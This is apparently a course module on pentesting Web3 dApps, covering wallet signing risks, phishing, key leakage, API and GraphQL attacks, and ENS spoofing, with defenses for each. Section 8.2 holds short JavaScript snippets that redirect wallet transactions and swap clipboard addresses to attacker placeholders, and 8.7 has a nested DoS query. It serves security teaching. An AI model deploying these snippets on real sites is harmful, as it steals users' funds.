Module 08 — Web3 dApp Pentesting
Difficulty: Intermediate → Advanced
“Decentralized” applications are rarely fully decentralized. Most dApps have centralized frontends, APIs, databases, and admin panels. This module covers the full Web2+Web3 attack surface of decentralized applications — from wallet interactions to backend API exploitation.
8.1 Web3 Wallet Interaction Security
| Risk |
Description |
Exploitation |
| Unlimited token approvals |
dApps request approve(MAX_UINT256) — if the dApp or its contract is compromised, all approved tokens are at risk |
Revoke via revoke.cash |
| Blind signing |
Users sign messages they can’t read (raw hex) |
Malicious dApps trick users into signing arbitrary data |
| eth_sign |
Signs arbitrary hash — can sign transactions |
Phishing dApps use eth_sign to sign a transfer tx |
| Phishing pop-ups |
Fake MetaMask prompts on malicious sites |
Cloned approval dialogs |
WalletConnect Vulnerabilities
1
2
3
4
5
6
7
8
| WalletConnect v2 uses the Relay protocol:
1. Session proposal → user approves connection
2. RPC requests → methods the dApp can call through the wallet
Attack vectors:
- Session hijacking (expired sessions still accepted)
- Man-in-the-middle on relay server
- Malicious dApp requesting dangerous methods (eth_sendTransaction to drainer)
|
Signing Method Comparison
| Method |
Safety |
What It Signs |
Use Case |
personal_sign |
[YES] Safer |
Prefixed message (EIP-191) |
Login, off-chain messaging |
eth_signTypedData_v4 |
[YES] Safest |
Structured data (EIP-712) |
Permits, orders, meta-txs |
eth_sign |
[NO] Dangerous |
Raw 32-byte hash |
Legacy — can sign any tx |
eth_signTransaction |
! Risky |
Full transaction object |
Should only be used internally |
8.2 Frontend Attack Vectors
Malicious dApp Injection
1
2
3
4
5
6
7
8
9
10
11
| // Attacker injects this into a compromised dApp frontend:
// Intercepts all transactions and redirects funds
const originalSendTransaction = window.ethereum.request;
window.ethereum.request = async function(args) {
if (args.method === 'eth_sendTransaction') {
// Redirect the 'to' address to attacker's wallet
args.params[0].to = '0xAttackerWallet';
}
return originalSendTransaction.call(this, args);
};
|
Clipboard Hijacking
1
2
3
4
5
6
7
8
9
| // Monitor clipboard for crypto addresses and replace them
document.addEventListener('copy', function(e) {
const selection = document.getSelection().toString();
// If user copies an Ethereum address, replace with attacker's
if (/^0x[a-fA-F0-9]{40}$/.test(selection.trim())) {
e.clipboardData.setData('text/plain', '0xATTACKER_ADDRESS');
e.preventDefault();
}
});
|
Supply Chain Attacks on dApp Dependencies
1
2
3
4
5
6
7
8
9
10
11
| npm ecosystem attacks:
1. Typosquatting: @uniswap/sdk → @un1swap/sdk (malicious)
2. Dependency confusion: Internal package names published publicly
3. Compromised maintainer: Legitimate package gets malicious update
4. Malicious postinstall scripts: Execute during npm install
Defense:
- Lock dependency versions (package-lock.json)
- Use npm audit / snyk
- Review postinstall scripts
- Use allowlists for critical dependencies
|
8.3 JSON-RPC Endpoint Security
Dangerous RPC Methods
| Method |
Risk |
Defense |
eth_sign |
Signs arbitrary data (can be a transaction) |
Disable or warn users |
eth_sendTransaction |
Sends a transaction |
Show clear confirmation UI |
eth_signTypedData |
Signs typed data (permits) |
Show decoded data in wallet |
debug_traceTransaction |
Reveals internal tx execution |
Don’t expose on public RPC |
eth_getStorageAt |
Reads arbitrary storage |
Don’t rely on “private” storage |
admin_* |
Node administration |
Never expose publicly |
miner_* |
Mining control |
Never expose publicly |
Public RPC Node Risks
1
2
3
4
5
6
7
| If a dApp hardcodes a public RPC endpoint:
1. RPC provider can see all user transactions (privacy leak)
2. RPC can return manipulated data (fake balances, fake nonces)
3. RPCs can censor transactions (refuse to broadcast)
4. Free RPCs have rate limits → DoS vector for dApp
Defense: Users should use their own RPC, or dApp should rotate providers
|
8.4 Private Key Leakage
Common Leakage Vectors
| Vector |
How It Happens |
Frequency |
| Frontend JavaScript |
Private key hardcoded in client-side code |
Common in amateur projects |
.env in version control |
.env file committed to public GitHub |
Very common |
| Browser local storage |
Wallet stores keys in localStorage (non-hardware wallets) |
Medium |
| Server environment variables |
Secret leaked via error pages, debug endpoints |
Medium |
| CI/CD logs |
Keys printed or logged during deployment |
Common |
| Dependency exfiltration |
Malicious npm package reads process.env |
Event-stream incident |
Detection in Pentests
1
2
3
4
5
6
7
8
9
10
11
12
| # Search for private keys in frontend code
grep -rn "0x[a-fA-F0-9]\{64\}" src/ --include="*.js" --include="*.ts" --include="*.jsx"
# Search for .env files in git history
git log --all --full-history -- "*.env"
git log --all --full-history -- ".env*"
# Check for hardcoded mnemonics
grep -rn "candy maple\|abandon abandon\|test test\|knife multi" src/ --include="*.js"
# Search for common private key variable names
grep -rn "PRIVATE_KEY\|DEPLOYER_KEY\|MNEMONIC\|SEED_PHRASE" src/ --include="*.js"
|
8.5 Insecure Signature Handling
EIP-712 (Typed Data) Security
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
| // Proper EIP-712 domain — prevents cross-domain replay
const domain = {
name: "MyProtocol",
version: "1",
chainId: 1, // [YES] Prevents cross-chain replay
verifyingContract: "0xContractAddr", // [YES] Prevents cross-contract replay
};
// Typed data specification
const types = {
Permit: [
{ name: "owner", type: "address" },
{ name: "spender", type: "address" },
{ name: "value", type: "uint256" },
{ name: "nonce", type: "uint256" }, // [YES] Prevents replay
{ name: "deadline", type: "uint256" }, // [YES] Time-limited
],
};
|
Common Signature Pitfalls
| Pitfall |
Impact |
|
|
Using eth_sign instead of signTypedData |
Users can’t verify what they’re signing |
|
|
| No nonce in signed data |
Signature can be replayed |
|
|
| No chainId in domain |
Signature valid on all chains |
|
|
| No deadline |
Signature valid forever |
|
|
Missing verifyingContract in domain |
Valid across different contracts |
|
|
| Signature malleability (ECDSA) |
Same message, different (valid) signature |
s value can be in upper or lower half |
Use OpenZeppelin’s ECDSA.recover() which enforces lower-s |
8.6 Backend API Security
Centralized Components of “Decentralized” Apps
Most dApps have centralized components:
1
2
3
4
5
6
7
8
9
10
| ┌─────────────────────────────────────────────┐
│ "Decentralized" App │
├─────────────────────────────────────────────┤
│ Frontend (React/Next.js) ← Centralized│
│ Backend API (Node.js) ← Centralized│
│ Database (PostgreSQL) ← Centralized│
│ Admin Panel ← Centralized│
│ Smart Contracts (Ethereum) ← Decentralized│
│ IPFS Storage (sometimes) ← Variable │
└─────────────────────────────────────────────┘
|
API Security Checklist
8.7 GraphQL / Subgraph Injection
Subgraph Query Manipulation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # Excessive query (DoS)
{
tokens(first: 1000, orderBy: totalSupply, orderDirection: desc) {
id
name
symbol
totalSupply
holders(first: 1000) { # Nested pagination → massive response
id
balance
transactions(first: 1000) { # Deeply nested → exponential data
id
amount
}
}
}
}
|
GraphQL-Specific Attacks Against dApp APIs
| Attack |
Description |
Defense |
| Introspection |
Query __schema to discover all types and fields |
Disable introspection in production |
| Batch queries |
Send many queries in one request (DoS) |
Limit query depth and complexity |
| Aliasing |
Use aliases to bypass rate limiting |
Rate limit by user, not by query |
| Field suggestion |
Error messages reveal field names |
Disable suggestions in production |
8.8 Centralized Admin Panel Attacks
1
2
3
4
5
6
7
8
9
10
| Common admin panel vulnerabilities in dApps:
1. Default credentials (admin/admin)
2. No MFA (2FA not required for admin access)
3. Exposed admin panel URL (often at /admin, /dashboard)
4. Admin can:
- Pause/unpause contracts
- Upgrade proxy implementations
- Modify protocol parameters
- Whitelist/blacklist addresses
5. Admin key stored in .env on a server → server compromise = protocol compromise
|
8.9 IPFS Content Injection
1
2
3
4
5
6
7
8
9
10
11
| If a dApp stores content references on IPFS:
1. Content addressing = content is verified by hash
2. BUT: If the smart contract stores an HTTP URL (not IPFS CID), content can change
3. IPFS gateways can be compromised → serve wrong content
4. Metadata update attacks: If contract has setTokenURI(), owner changes metadata post-sale
Attack scenario for NFTs:
1. Mint NFT with attractive art stored on IPFS (pinned by creator)
2. Sell NFT at premium
3. Unpin the content → image disappears
4. Or: Update tokenURI to point to different content
|
8.10 ENS Spoofing & Homoglyph Attacks
ENS (Ethereum Name Service) Attack Vectors
| Attack |
Description |
| Homoglyph |
Register unіswap.eth (Cyrillic ‘і’) vs uniswap.eth (Latin ‘i’) |
| Expired ENS |
Previous owner’s ENS name expires, attacker registers it → receives misdirected funds |
| Subdomain spoofing |
legit.protocol.eth → legit-protocol.fake.eth |
| ENS record manipulation |
If attacker gains control of ENS record, they can redirect resolution to their contract |
1
2
3
| # Check ENS resolution
cast resolve-name vitalik.eth
cast lookup-address 0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045
|
8.11 Web3 Phishing Techniques
Phishing Attack Types
| Technique |
Mechanism |
Defense |
| Approval phishing |
Trick user into approving token spend to attacker’s contract |
Use Rabby wallet (shows simulation) |
| Permit phishing |
Trick user into signing EIP-2612 permit (gasless approval) |
Check what you’re signing |
| Fake mint sites |
Clone NFT project website with drainer contract |
Verify contract on Etherscan |
| Ice phishing |
Get user to sign a message that’s actually a transaction |
Use signTypedData with clear domain |
| Address poisoning |
Send 0-value transfers from similar-looking addresses, hoping victim copies from tx history |
Always verify full address |
| DNS hijacking |
Compromise protocol’s domain, serve malicious frontend |
Use bookmarks, verify contract |
Address Poisoning Attack
1
2
3
4
5
6
7
8
9
| How it works:
1. Victim regularly sends to 0xA1B2...9F00 (legitimate address)
2. Attacker generates an address with same first/last characters: 0xA1B2...9F00
(Different middle characters)
3. Attacker sends 0 tokens FROM the spoofed address TO the victim
4. Victim sees the spoofed address in transaction history
5. Victim copy-pastes the wrong address for next transfer → funds go to attacker
Defense: Always verify the FULL address, use address book/contacts
|
8.12 Browser Extension Security
Malicious Extensions
1
2
3
4
5
6
7
8
9
10
11
12
| Attack vectors:
1. Fake wallet extensions (not from official MetaMask)
2. Extensions with "Access all website data" permissions
3. Extensions that inject JavaScript into dApp pages
4. Keyloggers disguised as browser extensions
What malicious extensions can do:
- Read seed phrases from wallet UI
- Intercept transaction signing
- Modify displayed transaction details
- Redirect tokens/ETH to attacker addresses
- Read clipboard (address replacement)
|
8.13 Hardware Wallet Attack Surface
Physical Attack Vectors
| Attack |
Complexity |
Description |
| Supply chain |
High |
Tampered hardware wallet shipped pre-compromised |
| Side channels |
Very High |
Power analysis, electromagnetic emanation during signing |
| Fault injection |
Very High |
Voltage glitching to bypass PIN protection |
| Firmware update |
Medium |
Malicious firmware update disguised as legitimate |
| Social engineering |
Low |
“Enter your seed phrase to update firmware” phishing |
| Evil maid |
Medium |
Physical access to unlock and extract keys |
Software-Level Hardware Wallet Risks
1
2
3
4
5
| Even with hardware wallets:
1. The transaction must still be verified on screen
2. If the hardware wallet's screen is compromised → displays wrong address
3. Blind signing on hardware wallets (signing without full tx display) is dangerous
4. Some hardware wallets don't fully decode EIP-712 typed data
|
Key Takeaway: Web3 security extends far beyond smart contracts. The biggest losses to end users come from phishing, approval exploits, and compromised frontends — not smart contract bugs. A comprehensive Web3 pentest must cover the entire stack: frontend, backend API, wallet integration, DNS, and social engineering vectors. Don’t forget that most “decentralized” apps are actually centralized apps that interact with smart contracts.